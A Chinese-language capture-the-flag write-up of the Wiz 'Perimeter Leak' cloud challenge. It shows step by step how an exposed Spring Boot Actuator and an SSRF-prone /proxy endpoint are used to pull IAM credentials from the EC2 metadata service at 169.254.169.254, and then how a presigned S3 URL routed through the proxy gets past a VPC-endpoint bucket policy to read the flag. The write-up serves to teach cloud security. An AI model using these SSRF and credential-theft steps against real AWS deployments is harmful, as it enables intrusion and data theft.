Wiz CTF 打靶记录

Perimeter Leak

After weeks of exploits and privilege escalation you’ve gained access to what you hope is the final server that you can then use to extract out the secret flag from an S3 bucket.

It won’t be easy though. The target uses an AWS data perimeter to restrict access to the bucket contents.

Good luck!

​ 告知存在 Actuator 泄漏, 直接访问它:

{
  "_links": {
    "self": {
      "href": "http://127.0.0.1:8080/actuator",
      "templated": false
    },
    "beans": {
      "href": "http://127.0.0.1:8080/actuator/beans",
      "templated": false
    },
    "caches": {
      "href": "http://127.0.0.1:8080/actuator/caches",
      "templated": false
    },
    "caches-cache": {
      "href": "http://127.0.0.1:8080/actuator/caches/{cache}",
      "templated": true
    },
    "health": {
      "href": "http://127.0.0.1:8080/actuator/health",
      "templated": false
    },
    "health-path": {
      "href": "http://127.0.0.1:8080/actuator/health/{*path}",
      "templated": true
    },
    "info": {
      "href": "http://127.0.0.1:8080/actuator/info",
      "templated": false
    },
    "conditions": {
      "href": "http://127.0.0.1:8080/actuator/conditions",
      "templated": false
    },
    "configprops": {
      "href": "http://127.0.0.1:8080/actuator/configprops",
      "templated": false
    },
    "configprops-prefix": {
      "href": "http://127.0.0.1:8080/actuator/configprops/{prefix}",
      "templated": true
    },
    "env": {
      "href": "http://127.0.0.1:8080/actuator/env",
      "templated": false
    },
    "env-toMatch": {
      "href": "http://127.0.0.1:8080/actuator/env/{toMatch}",
      "templated": true
    },
    "loggers": {
      "href": "http://127.0.0.1:8080/actuator/loggers",
      "templated": false
    },
    "loggers-name": {
      "href": "http://127.0.0.1:8080/actuator/loggers/{name}",
      "templated": true
    },
    "threaddump": {
      "href": "http://127.0.0.1:8080/actuator/threaddump",
      "templated": false
    },
    "metrics-requiredMetricName": {
      "href": "http://127.0.0.1:8080/actuator/metrics/{requiredMetricName}",
      "templated": true
    },
    "metrics": {
      "href": "http://127.0.0.1:8080/actuator/metrics",
      "templated": false
    },
    "sbom": {
      "href": "http://127.0.0.1:8080/actuator/sbom",
      "templated": false
    },
    "sbom-id": {
      "href": "http://127.0.0.1:8080/actuator/sbom/{id}",
      "templated": true
    },
    "scheduledtasks": {
      "href": "http://127.0.0.1:8080/actuator/scheduledtasks",
      "templated": false
    },
    "mappings": {
      "href": "http://127.0.0.1:8080/actuator/mappings",
      "templated": false
    }
  }
}

有价值的配置有这些:

  • /actuator/env : 显示应用程序的所有环境变量、系统属性、配置文件配置
  • /actuator/configprops : 显示所有配置属性的解析结果
  • /actuator/mappings : 显示所有 HTTP 路由映射(Controller 的路径)
  • /actuator/threaddump : 显示 JVM 当前所有线程的堆栈信息
  • /actuator/sbom : 软件物料清单 (Software Bill of Materials),列出了应用依赖的所有库及版本。
  • /actuator/loggers : 查看和修改日志级别

抛开这个环境不谈的话, 还有如下可能出现的端点:

  • /actuator/heapdump : 内存快照, 通常存在大量有价值的信息

  • /actuator/jolokia : Jolokia 是一个 JMX-HTTP 桥接器

    JMX (Java Management Extensions) 是 Java 用于监控和管理应用程序的标准技术(通常使用 JConsole 或 JVisualVM 连接,走 RMI 协议)。

    Jolokia 将 JMX 的功能通过 HTTP + JSON 的方式暴露出来。通过 HTTP URL 可以直接读取 MBean 的属性、执行 MBean 的操作。

  • /actuator/refresh : 配置热重载; 如果能修改环境变量或配置源,再触发 /refresh,就能让应用加载恶意的配置.

回到本题. 我们先看 env , 会发现有个S3桶的 URL :

{
  "activeProfiles": [],
  "defaultProfiles": [
    "default"
  ],
  "propertySources": [
    {
      ...
    },
    {
      "name": "servletContextInitParams",
      "properties": {

      }
    },
    {
      "name": "systemProperties",
      "properties": {
        ...
          "user.name": {
              "value": "ec2-user"
        },
        ...
      }
    },
    {
      "name": "systemEnvironment",
      "properties": {
        ...
        "BUCKET": {
          "value": "challenge01-470f711",
          "origin": "System Environment Property \"BUCKET\""
        },
        ...
        }
      }
    },
    {
      ...
    },
    {
      ...
    }
  ]
}

发现此处有一个 BUCKET 也就是存储桶了, 题中也提示存在 S3 bucket, 大概就是它了. 如果没有这个提示, 从 user.nameec2-user 中也能看出来.

补充知识-EC2 :

EC2 的全称是 Amazon Elastic Compute Cloud (亚马逊弹性计算云), 提供各种云服务.

现在我们尝试访问他; 这里我们要知道存储桶的一些知识:

  • 在一个云厂商的系统内,Bucket 名称是全球唯一的;

  • 其存在相对格式化的URL:

    • https://<bucket-name>.<service>.<region>.amazonaws.com(region不一定需要)

    • https://<service>.<region>.amazonaws.com/<bucket-name>(旧版)

      例如:

    • https://challenge01-470f711.s3.amazonaws.com

    • https://challenge01-470f711.s3.us-east-1.amazonaws.com

    • https://s3.us-east-1.amazonaws.com/challenge01-470f711

好, 知道了URL我们就可以尝试去访问这个存储桶, 这里即是 https://challenge01-470f711.s3.us-east-1.amazonaws.com:

<Error>
<Code>AccessDenied</Code>
<Message>Access Denied</Message>
<RequestId>BKM5WZQCGYBNPRPK</RequestId>
<HostId>2Zg/gsbjd1cf/ARxidr7izHjKd/WH8r9yLHF5o/ZMH0kx403zS4GXbib8p+vnhfcN3WW2hvovzU=</HostId>
</Error>

被拦下来了, 这条路暂且走不通, 得去找凭证

这里可以看看 hint2, 或者再看看 /actuator/mappings , 会发现有个 proxy 端点:

{
    "predicate": "{ [/proxy], params [url]}",
    "handler": "challenge.Application#proxy(String)",
    "details": {
    "handlerMethod": {
        "className": "challenge.Application",
        "name": "proxy",
        "descriptor": "(Ljava/lang/String;)Ljava/lang/String;"
    },
        "requestMappingConditions": {
        "consumes": [],
        "headers": [],
        "methods": [],
        "params": [
            {
            "name": "url",
            "negated": false
            }
            ],
        "patterns": [
            "/proxy"
        ],
        "produces": []
        }
    }
}

Hint2 : The endpoint /proxy can be used to obtain IMDSv2 credentials

端点 /proxy 可用于获取 IMDSv2 凭证

这里提示我们通过 /proxy 是可以拿到 IMDSv2的凭证的, 而拿这个凭证必须是服务内向 IMDS服务器(在内网)发送一些请求; 所以这里必然是存在 SSRF了.

IMDS (Instance Metadata Service) 是 AWS EC2 实例内部的一个服务, 运行在 169.254.169.254. 它用于查询实例的信息 (IP、Region、IAM 凭证等); 也就是服务的元数据. IMDSv2 就是第二版的 IMDS;

而通过他, 我们可以获取到 IAM(Identity and Access Management) Role , 有了这个身份, 我们就可以尝试访问之前发现的 S3 存储桶了. 那么要如何拿到他呢?

我们可以阅读官方文档, 但是不如读读别人的博客, 或者时代一点, 问问 Gemini; 总结下来就是如下流程:

  1. 利用 SSRF, 使用 PUT 方法访问 http://169.254.169.254/latest/api/token. 用来得到临时 token, 在之后获取身份用得到.

    由于这里使用的是IMDSv2, 所以需要获取这个token. 而大多数 ssrf 没法这个简单用 PUT 方法, 所以相对更为安全

    PUT 请求:

    /proxy?url=http://169.254.169.254/latest/api/token
    

    headers 中携带 X-aws-ec2-metadata-token-ttl-seconds: 21600, 这是用来规定 token 有效期的(单位为秒)

  2. 接着我们就能用这个临时 token 来得到 Role 了.

    GET 请求:

    /proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
    

    headers 中携带 X-aws-ec2-metadata-token: AQ****y7NQ==

    这样我们就能得到 Role : challenge01-5592***

  3. 然后再利用这个 Role 来得到 AK/SK .

    GET 请求:

    /proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/challenge01-5592***
    

    headers 中携带 X-aws-ec2-metadata-token: AQ****y7NQ==

    这样我们就能得到一个json, 其中包含着 AK/SK 等我们需要的信息:

    {
      "Code": "Success",
      "LastUpdated": "2025-12-09T12:51:24Z",
      "Type": "AWS-HMAC",
      "AccessKeyId": "ASIA***VPCWU6",
      "SecretAccessKey": "KBRqXS***c0NaK+mumHaui+s",
      "Token": "IQoJb3JpZ2luX2***SE/QktGA=",
      "Expiration": "2025-12-09T19:10:49Z"
    }
    

有了这个 AccessKeyId 和 SecretAccessKey (即 AK/SK ), 加上 Token 就可以去访问 S3 桶了;

这里的 Token 是什么 Token?

这是 AWS STS (Security Token Service) Session Token ; 作为临时用户, 需要他来进行各种认证(比如这里的 S3)

由于 EC2 的 IAM Role使用的是临时凭证。临时凭证必须由三部分组成:AK + SK + Token 。

接着, 我们把拿到的这些东西放到环境变量中(临时):

export AWS_ACCESS_KEY_ID="XXXXXXX"
export AWS_SECRET_ACCESS_KEY="XXXXXXX"
export AWS_SESSION_TOKEN="XXXXXXX" 

利用 aws sts get-caller-identity 可以验证身份, 将会得到类似以下的输出:

{
    "UserId": "AROA***E3DV:i-0bfc4291dd0acd279",
    "Account": "092***374",
    "Arn": "arn:aws:sts::092297851374:assumed-role/challenge01-5592368/i-0bfc4291dd0acd279"
}

这样就算是配置成功了, 接下来我们直接来看看这个桶里究竟有什么:

# aws s3 ls s3://challenge01-470f711
                            PRE private/
2025-06-19 01:15:24         29 hello.txt

发现一个 private, 这是个目录, 看看里面有什么:

# aws s3 ls s3://challenge01-470f711/private/
2025-06-17 06:01:49         51 flag.txt

终于是找到 flag 了, 现在我们直接把整个目录扒下来, 放在本地的当前目录下:

# aws s3 sync s3://challenge01-470f711/private/ .
download failed: s3://challenge01-470f711/private/flag.txt to ./flag.txt An error occurred (AccessDenied) when calling the GetObject operation: User: arn:aws:sts::092297851374:assumed-role/challenge01-5592368/i-0bfc4291dd0acd279 is not authorized to perform: s3:GetObject on resource: "arn:aws:s3:::challenge01-470f711/private/flag.txt" with an explicit deny in a resource-based policy

ono, 报错了, 很容易看出来是权限问题. 没事, 看看这里的 policy 是什么说法:

aws s3api get-bucket-policy --bucket challenge01-470f711 --query "Policy" --output text | jq .

这条指令中, 有几个值得关注的点:

  • aws s3api 是底层命令, 直接对应 AWS 的 API 接口. 它可以进行更精细的配置管理, 比如查看策略、修改权限等
  • --query "Policy" --output text, 由于之前指令会返回很多元数据, 这里我们只取 Policy ; 然后使用 text 的形式输出, 因为 Policy 本身是一个被转义的 JSON 字符串, 如果不加这个, 得到的会是一堆带有 \ 的, 不好看的东西。
  • jq . : 美化 json
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Deny",
      "Principal": "*",
      "Action": "s3:GetObject",
      "Resource": "arn:aws:s3:::challenge01-470f711/private/*",
      "Condition": {
        "StringNotEquals": {
          "aws:SourceVpce": "vpce-0dfd8b6aa1642a057"
        }
      }
    }
  ]
}

这就是一个在一定情况下做出特定反应的规则, Bucket Policy 可以视作一个规则引擎, 这是其中一条规则(官方称之为 Policy evaluation logic, 详见Policy evaluation logic)

这条规则的结果就是, 如果 (请求来源的 VPCE ID) 不等于vpce-0dfd8b6aa1642a057),则执行 Denyaws:SourceVpce 是一个 AWS 全局条件键, 代表请求经过的 VPC Endpoint ID. 而 VPCE (VPC Endpoint) 是 AWS 内部的一条私有隧道。它允许 EC2 实例直接连接到 S3,而流量完全不经过公共互联网。

也就是说, 我们必须通过这个 VPC 来拿到 flag. 这时我们就能用上 S3 预签名 URL 这个机制, 加上 SSRF 的能力, 来拿到 flag.

S3 预签名 URL (Presigned URL) :

由于 S3 默认是私有的 (Private). 只有拥有 IAM 权限的用户才能访问. 但是或许存在需要将资源分享, 售卖等情况, 此时不可能直接给出 AWS IAM AK/SK, 所以就需要一种别的认证方式. S3 预签名 URL 就是解决这类问题的方案之一.

它是一种“凭证前置”机制, 把权限封装在 URL 里, 让没有 AWS 账号的人也能临时访问特定资源.

原理上, 生成预签名 URL 是一个纯本地的加密计算过程.

执行 aws s3 presign 来进行预签名. AWS CLI 并没有去连接 AWS 服务器, 它只是在本地进行动作。它基于 AWS Signature V4 协议,将以下信息进行哈希和签名:

  • 动作 (Action): GET (默认)

  • 资源 (Resource): /bucket/object

  • 时间 (Time): 生成时间和过期时间

  • 身份 (Identity): AccessKeyID

  • 签名 (Signature): 用你的 Secret Access Key 对上述信息进行 HMAC-SHA256 加密.

然后生成一个 URL, 这就是预签名完成的 URL 了, 可以用它访问内容.

这时我们签出来一个允许访问 /private/flag.txt 的 URL:

aws s3 presign s3://challenge01-470f711/private/flag.txt --expires-in 900

这里签出来一个 900 秒的, 对 /private/flag.txt 有权限的 URL, 再利用 SSRF 访问这里, 就是 VPC 的访问了;

这里注意要对生成出来的 URL 做一次 URL 编码, 否则SSRF 时会解析一次, 导致截断.

GET 请求:

https://challenge01.cloud-champions.com/proxy?url=https://challenge01-470f711.s3.amazonaws.com/private/flag.txt?***85a1c702ed9 

这样就成功拿到flag了!

本题参考:

https://tresscross.blog/perimeter-leak-wiz-cloud-ctf-june/

https://lintian31.github.io/2025/11/19/wiz-%E6%9C%80%E7%AE%80%E5%8D%95%E7%9A%84%E4%B8%80%E9%81%93%E9%A2%98/